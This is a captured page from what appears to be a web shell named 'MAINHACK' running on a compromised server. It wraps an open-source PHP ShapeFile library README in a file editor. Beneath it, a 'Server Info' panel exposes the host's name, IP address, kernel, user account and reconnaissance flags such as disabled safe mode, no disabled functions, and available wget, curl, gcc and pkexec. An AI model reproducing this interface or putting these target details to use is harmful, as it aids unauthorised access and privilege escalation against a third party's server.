[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: README.md
# shapefile ShapeFile library for PHP  [](https://codecov.io/github/phpmyadmin/shapefile?branch=master) [](https://scrutinizer-ci.com/g/phpmyadmin/shapefile/?branch=master) [](https://packagist.org/packages/phpmyadmin/shapefile) ## Features Currently the 2D and 3D variants except MultiPatch of the ShapeFile format as defined in https://www.esri.com/library/whitepapers/pdfs/shapefile.pdf. The library currently supports reading and editing of ShapeFiles and the Associated information (DBF file). There are a lot of things that can be improved in the code, if you are interested in developing, helping with the documentation, making translations or offering new ideas please contact us. ## Installation Please use [Composer][1] to install: ```sh composer require phpmyadmin/shapefile ``` To be able to read and write the associated DBF file, you need ``dbase`` extension: ```sh pecl install dbase echo "extension=dbase.so" > /etc/php7/conf.d/dbase.ini ``` ## Documentation The API documentation is available at <https://develdocs.phpmyadmin.net/shapefile/>. ## Usage To read shape file: ```php $shp = new \PhpMyAdmin\ShapeFile\ShapeFile(0); $shp->loadFromFile('path/file.*'); ``` ## History This library is based on BytesFall ShapeFiles library written by Ovidio (ovidio AT users.sourceforge.net). The library has been embedded in phpMyAdmin for years and slowly developed there. At one point people started to use our version rather than the original library and that was the point we decided to make it separate package. [1]:https://getcomposer.org/
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002